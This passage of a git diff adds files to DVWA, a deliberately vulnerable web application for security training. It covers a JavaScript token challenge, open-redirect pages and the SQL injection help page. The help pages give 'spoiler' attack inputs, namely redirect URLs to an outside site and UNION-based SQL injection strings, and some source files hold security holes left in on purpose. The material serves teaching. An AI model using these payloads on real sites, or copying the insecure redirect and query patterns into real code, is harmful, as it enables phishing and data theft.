define.amd; + var ARRAY_BUFFER = !root.JS_SHA256_NO_ARRAY_BUFFER && typeof ArrayBuffer !== 'undefined'; + var HEX_CHARS = '0123456789abcdef'.split(''); + var EXTRA = [-2147483648, 8388608, 32768, 128]; + var SHIFT = [24, 16, 8, 0]; + var K = [ + 0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5, + 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174, + 0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da, + 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967, + 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85, + 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070, + 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3, + 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2 + ]; + var OUTPUT_TYPES = ['hex', 'array', 'digest', 'arrayBuffer']; + + var blocks = []; + + if (root.JS_SHA256_NO_NODE_JS || !Array.isArray) { + Array.isArray = function (obj) { + return Object.prototype.toString.call(obj) === '[object Array]'; + }; + } + + if (ARRAY_BUFFER && (root.JS_SHA256_NO_ARRAY_BUFFER_IS_VIEW || !ArrayBuffer.isView)) { + ArrayBuffer.isView = function (obj) { + return typeof obj === 'object' && obj.buffer && obj.buffer.constructor === ArrayBuffer; + }; + } + + var createOutputMethod = function (outputType, is224) { + return function (message) { + return new Sha256(is224, true).update(message)[outputType](); + }; + }; + + var createMethod = function (is224) { + var method = createOutputMethod('hex', is224); + if (NODE_JS) { + method = nodeWrap(method, is224); + } + method.create = function () { + return new Sha256(is224); + }; + method.update = function (message) { + return method.create().update(message); + }; + for (var i = 0; i < OUTPUT_TYPES.length; ++i) { + var type = OUTPUT_TYPES[i]; + method[type] = createOutputMethod(type, is224); + } + return method; + }; + + var nodeWrap = function (method, is224) { + var crypto = eval("require('crypto')"); + var Buffer = eval("require('buffer').Buffer"); + var algorithm = is224 ? 'sha224' : 'sha256'; + var nodeMethod = function (message) { + if (typeof message === 'string') { + return crypto.createHash(algorithm).update(message, 'utf8').digest('hex'); + } else { + if (message === null || message === undefined) { + throw new Error(ERROR); + } else if (message.constructor === ArrayBuffer) { + message = new Uint8Array(message); + } + } + if (Array.isArray(message) || ArrayBuffer.isView(message) || + message.constructor === Buffer) { + return crypto.createHash(algorithm).update(new Buffer(message)).digest('hex'); + } else { + return method(message); + } + }; + return nodeMethod; + }; + + var createHmacOutputMethod = function (outputType, is224) { + return function (key, message) { + return new HmacSha256(key, is224, true).update(message)[outputType](); + }; + }; + + var createHmacMethod = function (is224) { + var method = createHmacOutputMethod('hex', is224); + method.create = function (key) { + return new HmacSha256(key, is224); + }; + method.update = function (key, message) { + return method.create(key).update(message); + }; + for (var i = 0; i < OUTPUT_TYPES.length; ++i) { + var type = OUTPUT_TYPES[i]; + method[type] = createHmacOutputMethod(type, is224); + } + return method; + }; + + function Sha256(is224, sharedMemory) { + if (sharedMemory) { + blocks[0] = blocks[16] = blocks[1] = blocks[2] = blocks[3] = + blocks[4] = blocks[5] = blocks[6] = blocks[7] = + blocks[8] = blocks[9] = blocks[10] = blocks[11] = + blocks[12] = blocks[13] = blocks[14] = blocks[15] = 0; + this.blocks = blocks; + } else { + this.blocks = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]; + } + + if (is224) { + this.h0 = 0xc1059ed8; + this.h1 = 0x367cd507; + this.h2 = 0x3070dd17; + this.h3 = 0xf70e5939; + this.h4 = 0xffc00b31; + this.h5 = 0x68581511; + this.h6 = 0x64f98fa7; + this.h7 = 0xbefa4fa4; + } else { // 256 + this.h0 = 0x6a09e667; + this.h1 = 0xbb67ae85; + this.h2 = 0x3c6ef372; + this.h3 = 0xa54ff53a; + this.h4 = 0x510e527f; + this.h5 = 0x9b05688c; + this.h6 = 0x1f83d9ab; + this.h7 = 0x5be0cd19; + } + + this.block = this.start = this.bytes = this.hBytes = 0; + this.finalized = this.hashed = false; + this.first = true; + this.is224 = is224; + } + + Sha256.prototype.update = function (message) { + if (this.finalized) { + return; + } + var notString, type = typeof message; + if (type !== 'string') { + if (type === 'object') { + if (message === null) { + throw new Error(ERROR); + } else if (ARRAY_BUFFER && message.constructor === ArrayBuffer) { + message = new Uint8Array(message); + } else if (!Array.isArray(message)) { + if (!ARRAY_BUFFER || !ArrayBuffer.isView(message)) { + throw new Error(ERROR); + } + } + } else { + throw new Error(ERROR); + } + notString = true; + } + var code, index = 0, i, length = message.length, blocks = this.blocks; + + while (index < length) { + if (this.hashed) { + this.hashed = false; + blocks[0] = this.block; + blocks[16] = blocks[1] = blocks[2] = blocks[3] = + blocks[4] = blocks[5] = blocks[6] = blocks[7] = + blocks[8] = blocks[9] = blocks[10] = blocks[11] = + blocks[12] = blocks[13] = blocks[14] = blocks[15] = 0; + } + + if (notString) { + for (i = this.start; index < length && i < 64; ++index) { + blocks[i >> 2] |= message[index] << SHIFT[i++ & 3]; + } + } else { + for (i = this.start; index < length && i < 64; ++index) { + code = message.charCodeAt(index); + if (code < 0x80) { + blocks[i >> 2] |= code << SHIFT[i++ & 3]; + } else if (code < 0x800) { + blocks[i >> 2] |= (0xc0 | (code >> 6)) << SHIFT[i++ & 3]; + blocks[i >> 2] |= (0x80 | (code & 0x3f)) << SHIFT[i++ & 3]; + } else if (code < 0xd800 || code >= 0xe000) { + blocks[i >> 2] |= (0xe0 | (code >> 12)) << SHIFT[i++ & 3]; + blocks[i >> 2] |= (0x80 | ((code >> 6) & 0x3f)) << SHIFT[i++ & 3]; + blocks[i >> 2] |= (0x80 | (code & 0x3f)) << SHIFT[i++ & 3]; + } else { + code = 0x10000 + (((code & 0x3ff) << 10) | (message.charCodeAt(++index) & 0x3ff)); + blocks[i >> 2] |= (0xf0 | (code >> 18)) << SHIFT[i++ & 3]; + blocks[i >> 2] |= (0x80 | ((code >> 12) & 0x3f)) << SHIFT[i++ & 3]; + blocks[i >> 2] |= (0x80 | ((code >> 6) & 0x3f)) << SHIFT[i++ & 3]; + blocks[i >> 2] |= (0x80 | (code & 0x3f)) << SHIFT[i++ & 3]; + } + } + } + + this.lastByteIndex = i; + this.bytes += i - this.start; + if (i >= 64) { + this.block = blocks[16]; + this.start = i - 64; + this.hash(); + this.hashed = true; + } else { + this.start = i; + } + } + if (this.bytes > 4294967295) { + this.hBytes += this.bytes / 4294967296 << 0; + this.bytes = this.bytes % 4294967296; + } + return this; + }; + + Sha256.prototype.finalize = function () { + if (this.finalized) { + return; + } + this.finalized = true; + var blocks = this.blocks, i = this.lastByteIndex; + blocks[16] = this.block; + blocks[i >> 2] |= EXTRA[i & 3]; + this.block = blocks[16]; + if (i >= 56) { + if (!this.hashed) { + this.hash(); + } + blocks[0] = this.block; + blocks[16] = blocks[1] = blocks[2] = blocks[3] = + blocks[4] = blocks[5] = blocks[6] = blocks[7] = + blocks[8] = blocks[9] = blocks[10] = blocks[11] = + blocks[12] = blocks[13] = blocks[14] = blocks[15] = 0; + } + blocks[14] = this.hBytes << 3 | this.bytes >>> 29; + blocks[15] = this.bytes << 3; + this.hash(); + }; + + Sha256.prototype.hash = function () { + var a = this.h0, b = this.h1, c = this.h2, d = this.h3, e = this.h4, f = this.h5, g = this.h6, + h = this.h7, blocks = this.blocks, j, s0, s1, maj, t1, t2, ch, ab, da, cd, bc; + + for (j = 16; j < 64; ++j) { + // rightrotate + t1 = blocks[j - 15]; + s0 = ((t1 >>> 7) | (t1 << 25)) ^ ((t1 >>> 18) | (t1 << 14)) ^ (t1 >>> 3); + t1 = blocks[j - 2]; + s1 = ((t1 >>> 17) | (t1 << 15)) ^ ((t1 >>> 19) | (t1 << 13)) ^ (t1 >>> 10); + blocks[j] = blocks[j - 16] + s0 + blocks[j - 7] + s1 << 0; + } + + bc = b & c; + for (j = 0; j < 64; j += 4) { + if (this.first) { + if (this.is224) { + ab = 300032; + t1 = blocks[0] - 1413257819; + h = t1 - 150054599 << 0; + d = t1 + 24177077 << 0; + } else { + ab = 704751109; + t1 = blocks[0] - 210244248; + h = t1 - 1521486534 << 0; + d = t1 + 143694565 << 0; + } + this.first = false; + } else { + s0 = ((a >>> 2) | (a << 30)) ^ ((a >>> 13) | (a << 19)) ^ ((a >>> 22) | (a << 10)); + s1 = ((e >>> 6) | (e << 26)) ^ ((e >>> 11) | (e << 21)) ^ ((e >>> 25) | (e << 7)); + ab = a & b; + maj = ab ^ (a & c) ^ bc; + ch = (e & f) ^ (~e & g); + t1 = h + s1 + ch + K[j] + blocks[j]; + t2 = s0 + maj; + h = d + t1 << 0; + d = t1 + t2 << 0; + } + s0 = ((d >>> 2) | (d << 30)) ^ ((d >>> 13) | (d << 19)) ^ ((d >>> 22) | (d << 10)); + s1 = ((h >>> 6) | (h << 26)) ^ ((h >>> 11) | (h << 21)) ^ ((h >>> 25) | (h << 7)); + da = d & a; + maj = da ^ (d & b) ^ ab; + ch = (h & e) ^ (~h & f); + t1 = g + s1 + ch + K[j + 1] + blocks[j + 1]; + t2 = s0 + maj; + g = c + t1 << 0; + c = t1 + t2 << 0; + s0 = ((c >>> 2) | (c << 30)) ^ ((c >>> 13) | (c << 19)) ^ ((c >>> 22) | (c << 10)); + s1 = ((g >>> 6) | (g << 26)) ^ ((g >>> 11) | (g << 21)) ^ ((g >>> 25) | (g << 7)); + cd = c & d; + maj = cd ^ (c & a) ^ da; + ch = (g & h) ^ (~g & e); + t1 = f + s1 + ch + K[j + 2] + blocks[j + 2]; + t2 = s0 + maj; + f = b + t1 << 0; + b = t1 + t2 << 0; + s0 = ((b >>> 2) | (b << 30)) ^ ((b >>> 13) | (b << 19)) ^ ((b >>> 22) | (b << 10)); + s1 = ((f >>> 6) | (f << 26)) ^ ((f >>> 11) | (f << 21)) ^ ((f >>> 25) | (f << 7)); + bc = b & c; + maj = bc ^ (b & d) ^ cd; + ch = (f & g) ^ (~f & h); + t1 = e + s1 + ch + K[j + 3] + blocks[j + 3]; + t2 = s0 + maj; + e = a + t1 << 0; + a = t1 + t2 << 0; + } + + this.h0 = this.h0 + a << 0; + this.h1 = this.h1 + b << 0; + this.h2 = this.h2 + c << 0; + this.h3 = this.h3 + d << 0; + this.h4 = this.h4 + e << 0; + this.h5 = this.h5 + f << 0; + this.h6 = this.h6 + g << 0; + this.h7 = this.h7 + h << 0; + }; + + Sha256.prototype.hex = function () { + this.finalize(); + + var h0 = this.h0, h1 = this.h1, h2 = this.h2, h3 = this.h3, h4 = this.h4, h5 = this.h5, + h6 = this.h6, h7 = this.h7; + + var hex = HEX_CHARS[(h0 >> 28) & 0x0F] + HEX_CHARS[(h0 >> 24) & 0x0F] + + HEX_CHARS[(h0 >> 20) & 0x0F] + HEX_CHARS[(h0 >> 16) & 0x0F] + + HEX_CHARS[(h0 >> 12) & 0x0F] + HEX_CHARS[(h0 >> 8) & 0x0F] + + HEX_CHARS[(h0 >> 4) & 0x0F] + HEX_CHARS[h0 & 0x0F] + + HEX_CHARS[(h1 >> 28) & 0x0F] + HEX_CHARS[(h1 >> 24) & 0x0F] + + HEX_CHARS[(h1 >> 20) & 0x0F] + HEX_CHARS[(h1 >> 16) & 0x0F] + + HEX_CHARS[(h1 >> 12) & 0x0F] + HEX_CHARS[(h1 >> 8) & 0x0F] + + HEX_CHARS[(h1 >> 4) & 0x0F] + HEX_CHARS[h1 & 0x0F] + + HEX_CHARS[(h2 >> 28) & 0x0F] + HEX_CHARS[(h2 >> 24) & 0x0F] + + HEX_CHARS[(h2 >> 20) & 0x0F] + HEX_CHARS[(h2 >> 16) & 0x0F] + + HEX_CHARS[(h2 >> 12) & 0x0F] + HEX_CHARS[(h2 >> 8) & 0x0F] + + HEX_CHARS[(h2 >> 4) & 0x0F] + HEX_CHARS[h2 & 0x0F] + + HEX_CHARS[(h3 >> 28) & 0x0F] + HEX_CHARS[(h3 >> 24) & 0x0F] + + HEX_CHARS[(h3 >> 20) & 0x0F] + HEX_CHARS[(h3 >> 16) & 0x0F] + + HEX_CHARS[(h3 >> 12) & 0x0F] + HEX_CHARS[(h3 >> 8) & 0x0F] + + HEX_CHARS[(h3 >> 4) & 0x0F] + HEX_CHARS[h3 & 0x0F] + + HEX_CHARS[(h4 >> 28) & 0x0F] + HEX_CHARS[(h4 >> 24) & 0x0F] + + HEX_CHARS[(h4 >> 20) & 0x0F] + HEX_CHARS[(h4 >> 16) & 0x0F] + + HEX_CHARS[(h4 >> 12) & 0x0F] + HEX_CHARS[(h4 >> 8) & 0x0F] + + HEX_CHARS[(h4 >> 4) & 0x0F] + HEX_CHARS[h4 & 0x0F] + + HEX_CHARS[(h5 >> 28) & 0x0F] + HEX_CHARS[(h5 >> 24) & 0x0F] + + HEX_CHARS[(h5 >> 20) & 0x0F] + HEX_CHARS[(h5 >> 16) & 0x0F] + + HEX_CHARS[(h5 >> 12) & 0x0F] + HEX_CHARS[(h5 >> 8) & 0x0F] + + HEX_CHARS[(h5 >> 4) & 0x0F] + HEX_CHARS[h5 & 0x0F] + + HEX_CHARS[(h6 >> 28) & 0x0F] + HEX_CHARS[(h6 >> 24) & 0x0F] + + HEX_CHARS[(h6 >> 20) & 0x0F] + HEX_CHARS[(h6 >> 16) & 0x0F] + + HEX_CHARS[(h6 >> 12) & 0x0F] + HEX_CHARS[(h6 >> 8) & 0x0F] + + HEX_CHARS[(h6 >> 4) & 0x0F] + HEX_CHARS[h6 & 0x0F]; + if (!this.is224) { + hex += HEX_CHARS[(h7 >> 28) & 0x0F] + HEX_CHARS[(h7 >> 24) & 0x0F] + + HEX_CHARS[(h7 >> 20) & 0x0F] + HEX_CHARS[(h7 >> 16) & 0x0F] + + HEX_CHARS[(h7 >> 12) & 0x0F] + HEX_CHARS[(h7 >> 8) & 0x0F] + + HEX_CHARS[(h7 >> 4) & 0x0F] + HEX_CHARS[h7 & 0x0F]; + } + return hex; + }; + + Sha256.prototype.toString = Sha256.prototype.hex; + + Sha256.prototype.digest = function () { + this.finalize(); + + var h0 = this.h0, h1 = this.h1, h2 = this.h2, h3 = this.h3, h4 = this.h4, h5 = this.h5, + h6 = this.h6, h7 = this.h7; + + var arr = [ + (h0 >> 24) & 0xFF, (h0 >> 16) & 0xFF, (h0 >> 8) & 0xFF, h0 & 0xFF, + (h1 >> 24) & 0xFF, (h1 >> 16) & 0xFF, (h1 >> 8) & 0xFF, h1 & 0xFF, + (h2 >> 24) & 0xFF, (h2 >> 16) & 0xFF, (h2 >> 8) & 0xFF, h2 & 0xFF, + (h3 >> 24) & 0xFF, (h3 >> 16) & 0xFF, (h3 >> 8) & 0xFF, h3 & 0xFF, + (h4 >> 24) & 0xFF, (h4 >> 16) & 0xFF, (h4 >> 8) & 0xFF, h4 & 0xFF, + (h5 >> 24) & 0xFF, (h5 >> 16) & 0xFF, (h5 >> 8) & 0xFF, h5 & 0xFF, + (h6 >> 24) & 0xFF, (h6 >> 16) & 0xFF, (h6 >> 8) & 0xFF, h6 & 0xFF + ]; + if (!this.is224) { + arr.push((h7 >> 24) & 0xFF, (h7 >> 16) & 0xFF, (h7 >> 8) & 0xFF, h7 & 0xFF); + } + return arr; + }; + + Sha256.prototype.array = Sha256.prototype.digest; + + Sha256.prototype.arrayBuffer = function () { + this.finalize(); + + var buffer = new ArrayBuffer(this.is224 ? 28 : 32); + var dataView = new DataView(buffer); + dataView.setUint32(0, this.h0); + dataView.setUint32(4, this.h1); + dataView.setUint32(8, this.h2); + dataView.setUint32(12, this.h3); + dataView.setUint32(16, this.h4); + dataView.setUint32(20, this.h5); + dataView.setUint32(24, this.h6); + if (!this.is224) { + dataView.setUint32(28, this.h7); + } + return buffer; + }; + + function HmacSha256(key, is224, sharedMemory) { + var i, type = typeof key; + if (type === 'string') { + var bytes = [], length = key.length, index = 0, code; + for (i = 0; i < length; ++i) { + code = key.charCodeAt(i); + if (code < 0x80) { + bytes[index++] = code; + } else if (code < 0x800) { + bytes[index++] = (0xc0 | (code >> 6)); + bytes[index++] = (0x80 | (code & 0x3f)); + } else if (code < 0xd800 || code >= 0xe000) { + bytes[index++] = (0xe0 | (code >> 12)); + bytes[index++] = (0x80 | ((code >> 6) & 0x3f)); + bytes[index++] = (0x80 | (code & 0x3f)); + } else { + code = 0x10000 + (((code & 0x3ff) << 10) | (key.charCodeAt(++i) & 0x3ff)); + bytes[index++] = (0xf0 | (code >> 18)); + bytes[index++] = (0x80 | ((code >> 12) & 0x3f)); + bytes[index++] = (0x80 | ((code >> 6) & 0x3f)); + bytes[index++] = (0x80 | (code & 0x3f)); + } + } + key = bytes; + } else { + if (type === 'object') { + if (key === null) { + throw new Error(ERROR); + } else if (ARRAY_BUFFER && key.constructor === ArrayBuffer) { + key = new Uint8Array(key); + } else if (!Array.isArray(key)) { + if (!ARRAY_BUFFER || !ArrayBuffer.isView(key)) { + throw new Error(ERROR); + } + } + } else { + throw new Error(ERROR); + } + } + + if (key.length > 64) { + key = (new Sha256(is224, true)).update(key).array(); + } + + var oKeyPad = [], iKeyPad = []; + for (i = 0; i < 64; ++i) { + var b = key[i] || 0; + oKeyPad[i] = 0x5c ^ b; + iKeyPad[i] = 0x36 ^ b; + } + + Sha256.call(this, is224, sharedMemory); + + this.update(iKeyPad); + this.oKeyPad = oKeyPad; + this.inner = true; + this.sharedMemory = sharedMemory; + } + HmacSha256.prototype = new Sha256(); + + HmacSha256.prototype.finalize = function () { + Sha256.prototype.finalize.call(this); + if (this.inner) { + this.inner = false; + var innerHash = this.array(); + Sha256.call(this, this.is224, this.sharedMemory); + this.update(this.oKeyPad); + this.update(innerHash); + Sha256.prototype.finalize.call(this); + } + }; + + var exports = createMethod(); + exports.sha256 = exports; + exports.sha224 = createMethod(true); + exports.sha256.hmac = createHmacMethod(); + exports.sha224.hmac = createHmacMethod(true); + + if (COMMON_JS) { + module.exports = exports; + } else { + root.sha256 = exports.sha256; + root.sha224 = exports.sha224; + if (AMD) { + define(function () { + return exports; + }); + } + } +})(); + +function do_something(e){for(var t="",n=e.length-1;n>=0;n--)t+=e[n];return t} + +function token_part_3(t, y="ZZ") { + document.getElementById("token").value=sha256(document.getElementById("token").value+y) +} + +function token_part_2(e="YY") { + document.getElementById("token").value=sha256(e+document.getElementById("token").value) +} + +function token_part_1(a,b) { + document.getElementById("token").value=do_something(document.getElementById("phrase").value) +} + +document.getElementById("phrase").value=""; + +setTimeout(function(){token_part_2("XX")},300); + +document.getElementById("send").addEventListener("click", token_part_3); + +token_part_1("ABCD", 44); diff --git a/DVWA/vulnerabilities/javascript/source/impossible.php b/DVWA/vulnerabilities/javascript/source/impossible.php new file mode 100644 index 00000000..e69de29b diff --git a/DVWA/vulnerabilities/javascript/source/low.php b/DVWA/vulnerabilities/javascript/source/low.php new file mode 100644 index 00000000..fc5542c9 --- /dev/null +++ b/DVWA/vulnerabilities/javascript/source/low.php @@ -0,0 +1,24 @@ + + +/* +MD5 code from here +https://github.com/blueimp/JavaScript-MD5 +*/ + +!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}"function"==typeof define&&define.amd?define(function(){return A}):"object"==typeof module&&module.exports?module.exports=A:n.md5=A}(this); + + function rot13(inp) { + return inp.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c<="Z"?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26);}); + } + + function generate_token() { + var phrase = document.getElementById("phrase").value; + document.getElementById("token").value = md5(rot13(phrase)); + } + + generate_token(); + +EOF; +?> diff --git a/DVWA/vulnerabilities/javascript/source/medium.js b/DVWA/vulnerabilities/javascript/source/medium.js new file mode 100644 index 00000000..f6c40a06 --- /dev/null +++ b/DVWA/vulnerabilities/javascript/source/medium.js @@ -0,0 +1 @@ +function do_something(e){for(var t="",n=e.length-1;n>=0;n--)t+=e[n];return t}setTimeout(function(){do_elsesomething("XX")},300);function do_elsesomething(e){document.getElementById("token").value=do_something(e+document.getElementById("phrase").value+"XX")} diff --git a/DVWA/vulnerabilities/javascript/source/medium.php b/DVWA/vulnerabilities/javascript/source/medium.php new file mode 100644 index 00000000..8849b11e --- /dev/null +++ b/DVWA/vulnerabilities/javascript/source/medium.php @@ -0,0 +1,3 @@ +'; +?> diff --git a/DVWA/vulnerabilities/open_redirect/help/help.php b/DVWA/vulnerabilities/open_redirect/help/help.php new file mode 100644 index 00000000..d4de60c6 --- /dev/null +++ b/DVWA/vulnerabilities/open_redirect/help/help.php @@ -0,0 +1,57 @@ +
    +

    Help - Open HTTP Redirect

    + +
    + + + + +
    +

    About

    +

    + OWASP define this as: +

    +
    + Unvalidated redirects and forwards are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. +
    + +

    As suggested above, a common use for this is to create a URL which initially goes to the real site but then redirects the victim off to a site controlled by the attacker. This site could be a clone of the target's login page to steal credentials, a request for credit card details to pay for a service on the target site, or simply a spam page full of advertising.

    + +


    + +

    Objective

    +

    Abuse the redirect page to move the user off the DVWA site or onto a different page on the site than expected.

    + +


    + +

    Low Level

    +

    The redirect page has no limitations, you can redirect to anywhere you want.

    +

    Spoiler: Try browsing to /vulnerabilities/open_redirect/source/low.php?redirect=https://digi.ninja

    + +
    + +

    Medium Level

    +

    The code prevents you from using absolute URLs to take the user off the site, so you can either use relative URLs to take them to other pages on the same site or a Protocol-relative URL.

    + +

    Spoiler: Try browsing to /vulnerabilities/open_redirect/source/low.php?redirect=//digi.ninja

    + +
    + +

    High Level

    +

    The redirect page tries to lock you to only redirect to the info.php page, but does this by checking that the URL contains "info.php".

    + +

    Spoiler: Try browsing to /vulnerabilities/open_redirect/source/low.php?redirect=https://digi.ninja/?a=info.php

    + +
    + +

    Impossible Level

    +

    Rather than accepting a page or URL as the redirect target, the system uses ID values to tell the redirect page where to redirect to. This ties the system down to only redirect to pages it knows about and so there is no way for an attacker to modify things to go to a page of their choosing.

    + +
    + +
    + +
    + +

    Reference:

    +
    diff --git a/DVWA/vulnerabilities/open_redirect/index.php b/DVWA/vulnerabilities/open_redirect/index.php new file mode 100644 index 00000000..29f582dd --- /dev/null +++ b/DVWA/vulnerabilities/open_redirect/index.php @@ -0,0 +1,60 @@ + +

    Vulnerability: Open HTTP Redirect

    + +
    +

    Hacker History

    +

    + Here are two links to some famous hacker quotes, see if you can hack them. +

    + + {$html} +
    + +

    More Information

    +
      +
    • " . dvwaExternalLinkUrlGet( 'https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html', "OWASP Unvalidated Redirects and Forwards Cheat Sheet" ) . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/04-Testing_for_Client-side_URL_Redirect', "WSTG - Testing for Client-side URL Redirect") . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://cwe.mitre.org/data/definitions/601.html', "Mitre - CWE-601: URL Redirection to Untrusted Site ('Open Redirect')" ) . "
    • +
    +
    \n"; + +dvwaHtmlEcho( $page ); + +?> diff --git a/DVWA/vulnerabilities/open_redirect/source/high.php b/DVWA/vulnerabilities/open_redirect/source/high.php new file mode 100644 index 00000000..46da8d05 --- /dev/null +++ b/DVWA/vulnerabilities/open_redirect/source/high.php @@ -0,0 +1,21 @@ + +

    You can only redirect to the info page.

    + +

    Missing redirect target.

    + diff --git a/DVWA/vulnerabilities/open_redirect/source/impossible.php b/DVWA/vulnerabilities/open_redirect/source/impossible.php new file mode 100644 index 00000000..aa9ee9a2 --- /dev/null +++ b/DVWA/vulnerabilities/open_redirect/source/impossible.php @@ -0,0 +1,29 @@ + + Unknown redirect target. + +Missing redirect target. diff --git a/DVWA/vulnerabilities/open_redirect/source/info.php b/DVWA/vulnerabilities/open_redirect/source/info.php new file mode 100644 index 00000000..0a12ed8f --- /dev/null +++ b/DVWA/vulnerabilities/open_redirect/source/info.php @@ -0,0 +1,61 @@ +I got a record, I was Zero Cool
    Zero Cool. Crashed 1507 systems in one day, biggest crash in history, front page, New York Times August 10th 1988."; + break; + case 2: + $info = "Who are you anyway?
    Johnny.
    Johnny who?
    Just... Johnny?"; + break; + default: + $info = "Some other stuff"; + } +} + +if ($info == "") { + http_response_code (500); + ?> +

    Missing quote ID.

    + +

    Vulnerability: Open HTTP Redirect

    + +
    +

    Hacker Quotes

    +

    + {$info} +

    +

    Back

    + {$html} +
    + +

    More Information

    +
      +
    • " . dvwaExternalLinkUrlGet( 'https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html', "OWASP Unvalidated Redirects and Forwards Cheat Sheet" ) . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/04-Testing_for_Client-side_URL_Redirect', "WSTG - Testing for Client-side URL Redirect") . "
    • +
    • " . dvwaExternalLinkUrlGet( 'https://cwe.mitre.org/data/definitions/601.html', "Mitre - CWE-601: URL Redirection to Untrusted Site ('Open Redirect')" ) . "
    • +
    +\n"; + +dvwaHtmlEcho( $page ); + +?> diff --git a/DVWA/vulnerabilities/open_redirect/source/low.php b/DVWA/vulnerabilities/open_redirect/source/low.php new file mode 100644 index 00000000..28c43516 --- /dev/null +++ b/DVWA/vulnerabilities/open_redirect/source/low.php @@ -0,0 +1,13 @@ + +

    Missing redirect target.

    + diff --git a/DVWA/vulnerabilities/open_redirect/source/medium.php b/DVWA/vulnerabilities/open_redirect/source/medium.php new file mode 100644 index 00000000..f03f1598 --- /dev/null +++ b/DVWA/vulnerabilities/open_redirect/source/medium.php @@ -0,0 +1,21 @@ + +

    Absolute URLs not allowed.

    + +

    Missing redirect target.

    + diff --git a/DVWA/vulnerabilities/sqli/help/help.php b/DVWA/vulnerabilities/sqli/help/help.php new file mode 100644 index 00000000..ed811226 --- /dev/null +++ b/DVWA/vulnerabilities/sqli/help/help.php @@ -0,0 +1,60 @@ +
    +

    Help - SQL Injection

    + +
    + + + + +
    +

    About

    +

    A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. + A successful SQL injection exploit can read sensitive data from the database, modify database data (insert/update/delete), execute administration operations on the database + (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system (load_file) and in some cases issue commands to the operating system.

    + +

    SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands.

    + +

    This attack may also be called "SQLi".

    + +


    + +

    Objective

    +

    There are 5 users in the database, with id's from 1 to 5. Your mission... to steal their passwords via SQLi.

    + +


    + +

    Low Level

    +

    The SQL query uses RAW input that is directly controlled by the attacker. All they need to-do is escape the query and then they are able + to execute any SQL query they wish.

    +
    Spoiler: ?id=a' UNION SELECT "text1","text2";-- -&Submit=Submit.
    + +
    + +

    Medium Level

    +

    The medium level uses a form of SQL injection protection, with the function of + "". + However due to the SQL query not having quotes around the parameter, this will not fully protect the query from being altered.

    + +

    The text box has been replaced with a pre-defined dropdown list and uses POST to submit the form.

    +
    Spoiler: ?id=a UNION SELECT 1,2;-- -&Submit=Submit.
    + +
    + +

    High Level

    +

    This is very similar to the low level, however this time the attacker is inputting the value in a different manner. + The input values are being transferred to the vulnerable query via session variables using another page, rather than a direct GET request.

    +
    Spoiler: ID: a' UNION SELECT "text1","text2";-- -&Submit=Submit.
    + +
    + +

    Impossible Level

    +

    The queries are now parameterized queries (rather than being dynamic). This means the query has been defined by the developer, + and has distinguish which sections are code, and the rest is data.

    +
    + +
    + +
    + +

    Reference:

    +
